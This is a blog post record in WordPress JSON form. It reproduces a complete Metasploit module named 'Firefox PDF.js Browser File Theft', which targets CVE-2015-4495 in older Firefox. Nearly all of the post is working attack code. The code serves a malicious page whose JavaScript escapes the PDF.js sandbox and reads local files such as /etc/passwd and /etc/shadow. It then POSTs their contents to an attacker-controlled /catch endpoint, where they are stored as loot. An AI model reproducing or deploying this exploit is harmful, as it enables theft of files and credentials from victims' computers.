{"id":59287,"date":"2024-08-31T22:30:16","date_gmt":"2024-08-31T19:30:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180630\/firefox_pdfjs_file_theft.rb.txt"},"modified":"2024-08-31T22:30:16","modified_gmt":"2024-08-31T19:30:16","slug":"firefox-pdf-js-browser-file-theft","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/firefox-pdf-js-browser-file-theft\/","title":{"rendered":"Firefox PDF.js Browser File Theft"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpServer::HTML<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Firefox PDF.js Browser File Theft&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR<br \/>38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability<br \/>occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with<br \/>privileges to read local files. The in-the-wild malicious payloads searched for sensitive<br \/>files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they<br \/>do not use the Mozilla PDF viewer.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Unknown&#8217;, # From an 0day served on Russian news website<br \/>&#8216;fukusa&#8217;, # Hacker news member that reported the issue<br \/>&#8216;Unknown&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Actions&#8217; =&gt; [[ &#8216;WebServer&#8217;, &#8216;Description&#8217; =&gt; &#8216;Serve exploit via web server&#8217; ]],<br \/>&#8216;PassiveActions&#8217; =&gt; [ &#8216;WebServer&#8217; ],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/paste.debian.net\/290146&#8217;], # 0day exploit<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/news.ycombinator.com\/item?id=10021376&#8217;], # discussion with discoverer<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/blog.mozilla.org\/security\/2015\/08\/06\/firefox-exploit-found-in-the-wild\/&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2015-4495&#8217;]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;WebServer&#8217;<br \/>))<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;FILES&#8217;, [<br \/>false,<br \/>&#8216;Comma-separated list of files to steal&#8217;,<br \/>&#8216;\/etc\/passwd, \/etc\/shadow&#8217;<br \/>])<br \/>])<\/p>\n<p>register_advanced_options([<br \/>OptInt.new(&#8216;PER_FILE_SLEEP&#8217;, [<br \/>false,<br \/>&#8216;Milliseconds to wait before attempting to read the frame containing each file&#8217;,<br \/>250<br \/>])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>print_status(&#8220;File targeted for exfiltration: #{JSON.generate(file_urls)}&#8221;)<br \/>exploit<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>if request.method.downcase == &#8216;post&#8217;<br \/>print_status(&#8216;Got POST request&#8230;&#8217;)<br \/>process_post(cli, request)<br \/>send_response_html(cli, &#8221;)<br \/>else<br \/>print_status(&#8216;Sending exploit&#8230;&#8217;)<br \/>send_response_html(cli, html)<br \/>end<br \/>end<\/p>\n<p>def process_post(cli, req)<br \/>name = req.qstring[&#8216;name&#8217;]print_good(&#8220;Received #{name}, size #{req.body.bytes.length}&#8230;&#8221;)<br \/>output = store_loot(<br \/>name || &#8216;data&#8217;, &#8216;text\/plain&#8217;, cli.peerhost, req.body, &#8216;firefox_theft&#8217;, &#8216;Firefox PDF.js exfiltrated file&#8217;<br \/>)<br \/>print_good(&#8220;Stored to #{output}&#8221;)<br \/>end<\/p>\n<p>def html<br \/>exploit_js = js + file_payload + &#8216;}, 20);&#8217;<\/p>\n<p>&#8220;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&lt;script&gt;#{exploit_js}&lt;\/script&gt;&lt;\/body&gt;&lt;\/html&gt;&#8221;<br \/>end<\/p>\n<p>def backend_url<br \/>proto = (datastore[&#8216;SSL&#8217;] ? &#8216;https&#8217; : &#8216;http&#8217;)<br \/>my_host = (datastore[&#8216;SRVHOST&#8217;] == &#8216;0.0.0.0&#8217;) ? Rex::Socket.source_address : datastore[&#8216;SRVHOST&#8217;]port_str = (datastore[&#8216;SRVPORT&#8217;].to_i == 80) ? &#8221; : &#8220;:#{datastore[&#8216;SRVPORT&#8217;]}&#8221;<br \/>resource = (&#8216;\/&#8217; == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource<\/p>\n<p>&#8220;#{proto}:\/\/#{my_host}#{port_str}#{resource}\/catch&#8221;<br \/>end<\/p>\n<p>def file_payload<br \/>%Q|<br \/>var files = (#{JSON.generate(file_urls)});<br \/>function next() {<br \/>var f = files.pop();<br \/>if (f) {<br \/>get(&#8220;file:\/\/&#8221;+f, function() {<br \/>var data = get_data(this);<br \/>var x = new XMLHttpRequest;<br \/>x.open(&#8220;POST&#8221;, &#8220;#{backend_url}?name=&#8221;+encodeURIComponent(&#8220;%URL%&#8221;));<br \/>x.send(data);<br \/>}, #{datastore[&#8216;PER_FILE_SLEEP&#8217;]}, &#8220;%URL%&#8221;, f);<br \/>setTimeout(next, #{datastore[&#8216;PER_FILE_SLEEP&#8217;]}+200);<br \/>}<br \/>}<br \/>next();<br \/>|<br \/>end<\/p>\n<p>def file_urls<br \/>datastore[&#8216;FILES&#8217;].split(&#8216;,&#8217;).map(&amp;:strip)<br \/>end<\/p>\n<p>def js<br \/>&lt;&lt;-EOJS<br \/>function xml2string(obj) {<br \/>return new XMLSerializer().serializeToString(obj);<br \/>}<\/p>\n<p>function __proto(obj) {<br \/>return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;<br \/>}<\/p>\n<p>function get(path, callback, timeout, template, value) {<br \/>callback = _(callback);<br \/>if (template &amp;&amp; value) {<br \/>callback = callback.replace(template, value);<br \/>}<br \/>js_call1 = &#8216;javascript:&#8217; + _(function() {<br \/>try {<br \/>open(&#8220;%url%&#8221;, &#8220;_self&#8221;);<br \/>} catch (e) {<br \/>history.back();<br \/>}<br \/>undefined;<br \/>}, &#8220;%url%&#8221;, path);<br \/>js_call2 = &#8216;javascript:;try{updateHidden();}catch(e){};&#8217; + callback + &#8216;;undefined&#8217;;<br \/>sandboxContext(_(function() {<br \/>i = document.getElementById(&#8216;i&#8217;);<br \/>p = __proto(i.contentDocument.styleSheets[0].ownerNode);<br \/>i2 = document.getElementById(&#8216;i2&#8217;);<br \/>l = p.__lookupSetter__.call(i2.contentWindow, &#8216;location&#8217;);<br \/>l.call(i2.contentWindow, window.wrappedJSObject.js_call1);<br \/>}));<br \/>setTimeout((function() {<br \/>sandboxContext(_(function() {<br \/>p = __proto(i.contentDocument.styleSheets[0].ownerNode);<br \/>l = p.__lookupSetter__.call(i2.contentWindow, &#8216;location&#8217;);<br \/>l.call(i2.contentWindow, window.wrappedJSObject.js_call2);<br \/>}));<br \/>}), timeout);<br \/>}<\/p>\n<p>function get_data(obj) {<br \/>data = null;<br \/>try {<br \/>data = obj.document.documentElement.innerHTML;<br \/>if (data.indexOf(&#8216;dirListing&#8217;) &lt; 0) {<br \/>throw new Error();<br \/>}<br \/>} catch (e) {<br \/>if (this.document instanceof XMLDocument) {<br \/>data = xml2string(this.document);<br \/>} else {<br \/>try {<br \/>if (this.document.body.firstChild.nodeName.toUpperCase() == &#8216;PRE&#8217;) {<br \/>data = this.document.body.firstChild.textContent;<br \/>} else {<br \/>throw new Error();<br \/>}<br \/>} catch (e) {<br \/>try {<br \/>if (this.document.body.baseURI.indexOf(&#8216;pdf.js&#8217;) &gt;= 0 || data.indexOf(&#8216;aboutNetError&#8217;) &gt; -1) {;<br \/>return null;<br \/>} else {<br \/>throw new Error();<br \/>}<br \/>} catch (e) {<br \/>;;<br \/>}<br \/>}<br \/>}<br \/>}<br \/>return data;<br \/>}<\/p>\n<p>function _(s, template, value) {<br \/>s = s.toString().split(\/^\\\\s*function\\\\s+\\\\(\\\\s*\\\\)\\\\s*\\\\{\/)[1];<br \/>s = s.substring(0, s.length &#8211; 1);<br \/>if (template &amp;&amp; value) {<br \/>s = s.replace(template, value);<br \/>}<br \/>s += __proto;<br \/>s += xml2string;<br \/>s += get_data;<br \/>s = s.replace(\/\\\\s\\\\\/\\\\\/.*\\\\n\/g, &#8220;&#8221;);<br \/>s = s + &#8220;;undefined&#8221;;<br \/>return s;<br \/>}<\/p>\n<p>function get_sandbox_context() {<br \/>if (window.my_win_id == null) {<br \/>for (var i = 0; i &lt; 20; i++) {<br \/>try {<br \/>if (window[i].location.toString().indexOf(&#8220;view-source:&#8221;) != -1) {<br \/>my_win_id = i;<br \/>break;<br \/>}<br \/>} catch (e) {}<br \/>}<br \/>};<br \/>if (window.my_win_id == null)<br \/>return;<br \/>clearInterval(sandbox_context_i);<br \/>object.data = &#8216;view-source:&#8217; + blobURL;<br \/>window[my_win_id].location = &#8216;data:application\/x-moz-playpreview-pdfjs;,&#8217;;<br \/>object.data = &#8216;data:text\/html,&lt;&#8216;+&#8217;html\/&gt;&#8217;;<br \/>window[my_win_id].frameElement.insertAdjacentHTML(&#8216;beforebegin&#8217;, &#8216;&lt;iframe style=&#8217;+<br \/>&#8216;&#8221;position:absolute; left:-9999px;&#8221; onload = &#8220;&#8216;+_(function(){<br \/>window.wrappedJSObject.sandboxContext=(function(cmd) {<br \/>with(importFunction.constructor(&#8216;return this&#8217;)()) {<br \/>return eval(cmd);<br \/>}<br \/>});<br \/>}) + &#8216;&#8221;\/&gt;&#8217;);<br \/>}<\/p>\n<p>var i = document.createElement(&#8220;iframe&#8221;);<br \/>i.id = &#8220;i&#8221;;<br \/>i.width=i.height=0;<br \/>i.style=&#8217;position:absolute;left:-9999px;&#8217;;<br \/>i.src = &#8220;data:application\/xml,&lt;?xml version=\\\\&#8221;1.0\\\\&#8221;?&gt;&lt;e&gt;&lt;e1&gt;&lt;\/e1&gt;&lt;\/e&gt;&#8221;;<br \/>document.documentElement.appendChild(i);<br \/>i.onload = function() {<br \/>if (this.contentDocument.styleSheets.length &gt; 0) {<br \/>var i2 = document.createElement(&#8220;iframe&#8221;);<br \/>i2.id = &#8220;i2&#8221;;<br \/>i2.width=i2.height=0;<br \/>i2.style=&#8217;position:absolute;left:-9999px;&#8217;;<br \/>i2.src = &#8220;data:application\/pdf,&#8221;;<br \/>document.documentElement.appendChild(i2);<br \/>pdfBlob = new Blob([&#8221;], {<br \/>type: &#8216;application\/pdf&#8217;<br \/>});<br \/>blobURL = URL.createObjectURL(pdfBlob);<br \/>object = document.createElement(&#8216;object&#8217;);<br \/>object.data = &#8216;data:application\/pdf,&#8217;;<br \/>object.onload = (function() {<br \/>sandbox_context_i = setInterval(get_sandbox_context, 200);<br \/>object.onload = null;<br \/>object.data = &#8216;view-source:&#8217; + location.href;<br \/>return;<br \/>});<br \/>document.documentElement.appendChild(object);<br \/>} else {<br \/>this.contentWindow.location.reload();<br \/>}<br \/>}<\/p>\n<p>var kill = setInterval(function() {<br \/>if (window.sandboxContext) {<br \/>clearInterval(kill);<br \/>} else {<br \/>return;<br \/>}<br \/>EOJS<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpServer::HTMLinclude Msf::Auxiliary::Report def initialize(info={})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Firefox PDF.js Browser File Theft&#8217;,&#8216;Description&#8217; =&gt; %q{This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerabilityoccurs in the PDF.js component, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59287","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59287","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59287"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59287\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}